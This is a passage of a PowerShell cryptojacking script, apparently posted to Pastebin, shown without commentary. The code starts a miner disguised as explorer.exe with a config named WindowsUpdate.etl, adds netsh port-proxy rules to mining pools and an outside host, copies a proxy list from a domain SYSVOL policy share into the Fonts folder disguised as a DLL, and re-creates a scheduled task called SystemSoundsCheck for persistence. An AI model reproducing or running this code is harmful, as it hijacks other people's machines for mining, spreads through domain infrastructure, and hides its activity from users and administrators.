  3807.                                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "--config=""$ConfPath\WindowsUpdate.etl""" -NoNewWindow
  3808.                                             $results = $RunProc.Create("$MinerPath\explorer.exe --config=""$ConfPath\WindowsUpdate.etl""")
  3809.                                         }
  3810.                                     }
  3811.                                    
  3812.                                    
  3813.                                    
  3814.                                     Start-Sleep -s 5
  3815.                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3816.                                     if ($processpath -contains "$MinerPath\explorer.exe")
  3817.                                     {
  3818.                                         $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  3819.                                         if ($TestUpTime -eq "true")
  3820.                                         {
  3821.                                             $noproxycheck = "true"
  3822.                                             If ($port -like "*4444*" -or $pool -like "*59.5*")
  3823.                                             {
  3824.                                                 $minenetsh = $port -replace ':'
  3825.                                                 if (!(($netsh -like "*$minenetsh*") -like "*$pool*"))
  3826.                                                 {
  3827.                                                     netsh interface portproxy reset
  3828.                                                     netsh interface portproxy add v4tov4 listenport=703 connectport=$minenetsh connectaddress=$pool
  3829.                                                     netsh interface portproxy add v4tov4 listenport=757 connectport=80 connectaddress=msupdate.info
  3830.                                                 }
  3831.                                             }
  3832.                                             break
  3833.                                         }
  3834.                                         else
  3835.                                         {
  3836.                                             $noproxycheck = "false"
  3837.                                         }
  3838.                                     }
  3839.                                 }
  3840.                                
  3841.                             }
  3842.                             else
  3843.                             {
  3844.                                 $noproxycheck = "false"
  3845.                             }
  3846.                            
  3847.                            
  3848.                             if ($noproxycheck -eq "false")
  3849.                             {
  3850.                                 if (Test-Path "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses\api-ms-win-core-console-l2-2-0.dll")
  3851.                                 {
  3852.                                     robocopy "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses" "$env:windir\Fonts\arial" api-ms-win-core-console-l2-2-0.dll /R:3 /W:20
  3853.                                 }
  3854.                                                            
  3855.                                     if ($Specialproxys)
  3856.                                     {
  3857.                                         foreach ($value in $Specialproxys)
  3858.                                         {
  3859.                                            
  3860.                                             $checkport = (test-Port -comp $value -port ($Specialport -replace ":") -tcp).open
  3861.                                             if ($checkport -eq "true")
  3862.                                             {
  3863.                                                 $global:pool = $value
  3864.                                                 $global:port = $Specialport
  3865.                                                 $online = "1"
  3866.                                                 if ($osArch -eq "x86")
  3867.                                                 {
  3868.                                                     createconfig32 -pool "$pool$port"`
  3869.                                                                    -walet "$worker"
  3870.                                                 }
  3871.                                                 else
  3872.                                                 {
  3873.                                                     createconfig -pool "$pool$port"`
  3874.                                                                  -walet "$worker"`
  3875.                                                                  -threads "$threads"
  3876.                                                 }
  3877.                                                 $processpath = Get-Process | ForEach-Object { $_.Path }
  3878.                                                 if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  3879.                                                 $processpath = Get-Process | ForEach-Object { $_.Path }
  3880.                                                 Start-Sleep -s 5
  3881.                                                 if ($processpath -notcontains "$MinerPath\explorer.exe")
  3882.                                                 {
  3883.                                                     $RunProc = get-wmiobject -list Win32_process
  3884.                                                     if ($osArch -eq "x64")
  3885.                                                     {
  3886.                                                         #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "$ConfPath\WindowsUpdate.etl" -NoNewWindow
  3887.                                                        
  3888.                                                         $results = $RunProc.Create("$MinerPath\explorer.exe $ConfPath\WindowsUpdate.etl")
  3889.                                                     }
  3890.                                                     else
  3891.                                                     {
  3892.                                                         #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "--config=""$ConfPath\WindowsUpdate.etl""" -NoNewWindow
  3893.                                                         $results = $RunProc.Create("$MinerPath\explorer.exe --config=""$ConfPath\WindowsUpdate.etl""")
  3894.                                                     }
  3895.                                                 }
  3896.                                             }
  3897.                                             else
  3898.                                             {
  3899.                                                
  3900.                                                 $port = $testms["Port"]
  3901.                                                 $pool = $testms["Address"]
  3902.                                                 if ($clearproxy -ne "1")
  3903.                                                 {
  3904.                                                     $global:proxyserver = ""
  3905.                                                 }
  3906.                                                 $Online -eq "0"
  3907.                                                
  3908.                                             }
  3909.                                             if ($Online -eq "1")
  3910.                                             {
  3911.                                                 Start-Sleep -s 5
  3912.                                                 $processpath = Get-Process | ForEach-Object { $_.Path }
  3913.                                                 if ($processpath -contains "$MinerPath\explorer.exe")
  3914.                                                 {
  3915.                                                     $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  3916.                                                     if ($TestUpTime -eq "true")
  3917.                                                     {
  3918.                                                         break
  3919.                                                     }
  3920.                                                 }
  3921.                                             }
  3922.                                            
  3923.                                         }
  3924.                                        
  3925.                                        
  3926.                                        
  3927.                                        
  3928.                                     }
  3929.                                    
  3930.                                     $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  3931.                                     if ($TestUpTime -eq "false")
  3932.                                     {
  3933.                                         $ProxyPath = "$env:windir\Fonts\arial"
  3934.                                         if (Test-Path "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  3935.                                         {
  3936.                                            
  3937.                                             $proxys = (Get-Content "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  3938.                                            
  3939.                                             foreach ($value in $proxys)
  3940.                                             {
  3941.                                                
  3942.                                                
  3943.                                                 $TestProxyConnection = TestProxyConnection $value
  3944.                                                
  3945.                                                 if ($TestProxyConnection -eq $true)
  3946.                                                 {
  3947.                                                     $global:pool = "$value"
  3948.                                                     $global:proxyserver = $value
  3949.                                                     $global:port = ":703"
  3950.                                                    
  3951.                                                     if ($osArch -eq "x86")
  3952.                                                     {
  3953.                                                         createconfig32 -pool "$pool$port"`
  3954.                                                                        -walet "$worker"
  3955.                                                     }
  3956.                                                     else
  3957.                                                     {
  3958.                                                         createconfig -pool "$pool$port"`
  3959.                                                                      -walet "$worker"`
  3960.                                                                      -threads "$threads"
  3961.                                                     }
  3962.                                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3963.                                                     if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  3964.                                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3965.                                                     Start-Sleep -s 5
  3966.                                                     if ($processpath -notcontains "$MinerPath\explorer.exe")
  3967.                                                     {
  3968.                                                         $RunProc = get-wmiobject -list Win32_process
  3969.                                                         if ($osArch -eq "x64")
  3970.                                                         {
  3971.                                                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "$ConfPath\WindowsUpdate.etl" -NoNewWindow
  3972.                                                            
  3973.                                                             $results = $RunProc.Create("$MinerPath\explorer.exe $ConfPath\WindowsUpdate.etl")
  3974.                                                         }
  3975.                                                         else
  3976.                                                         {
  3977.                                                             #                           Start-Process "$MinerPath\explorer.exe" -argumentlist "--config=""$ConfPath\WindowsUpdate.etl""" -NoNewWindow
  3978.                                                             $results = $RunProc.Create("$MinerPath\explorer.exe --config=""$ConfPath\WindowsUpdate.etl""")
  3979.                                                         }
  3980.                                                     }
  3981.                                                     $Online = "1"
  3982.                                                 }
  3983.                                                 else
  3984.                                                 {
  3985.                                                    
  3986.                                                     $port = $testms["Port"]
  3987.                                                     $pool = $testms["Address"]
  3988.                                                     if ($clearproxy -ne "1")
  3989.                                                     {
  3990.                                                         $global:proxyserver = ""
  3991.                                                     }
  3992.                                                     $Online -eq "0"
  3993.                                                    
  3994.                                                 }
  3995.                                                 if ($Online -eq "1")
  3996.                                                 {
  3997.                                                     Start-Sleep -s 5
  3998.                                                     $processpath = Get-Process | ForEach-Object { $_.Path }
  3999.                                                     if ($processpath -contains "$MinerPath\explorer.exe")
  4000.                                                     {
  4001.                                                         $TestUpTime = TestUptime -ErrorAction "silentlycontinue"
  4002.                                                         if ($TestUpTime -eq "true")
  4003.                                                         {
  4004.                                                             break
  4005.                                                         }
  4006.                                                     }
  4007.                                                 }
  4008.                                             }
  4009.                                         }
  4010.                                         else
  4011.                                         {
  4012.                                             Start-Sleep -s 5
  4013.                                            
  4014.                                            
  4015.                                            
  4016.                                             $port = $testms["Port"]
  4017.                                             $pool = $testms["Address"]
  4018.                                         }
  4019.                                     }
  4020.                                
  4021.                             }
  4022.                         }
  4023.                     }
  4024.                    
  4025.                    
  4026.                    
  4027.                    
  4028.                    
  4029.            
  4030.                    
  4031.                    
  4032.                 }
  4033.                
  4034.             }
  4035.             else
  4036.             {
  4037.                 if ((!(((Schtasks /query) -like "*systemsoundscheck*") -like "*running*")) -or (!(((Schtasks /query) -like "*Wird ausgeführt*") -like "*SystemSoundsCheck*")) -or (!(((Schtasks /query) -like "*Ejecutándose*") -like "*SystemSoundsCheck*")) -or (!(((Schtasks /query) -like "*En cours*") -like "*SystemSoundsCheck*")) -or (!(((Schtasks /query) -like "*Spuštěno*") -like "*SystemSoundsCheck*")) -or (!(((Schtasks /query) -like "*Выполняется*") -like "*SystemSoundsCheck*")) -or (!(((Schtasks /query) -like "*Çalışıyor*") -like "*SystemSoundsCheck*")))
  4038.                 {
  4039.                     schtasks /delete /tn "$taskpath" /f
  4040.                    
  4041.                     $XML | Out-File -Encoding ASCII "$tempfolder\task.xml"
  4042.                    
  4043.                     schtasks /create /xml "$tempfolder\task.xml" /tn "$taskpath"
  4044.                     if (Test-Path "$tempfolder\task.xml") { Remove-Item "$tempfolder\task.xml" -force }
  4045.                 }
  4046.             }
  4047.            
  4048.         }
  4049.     }
  4050.    
  4051. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top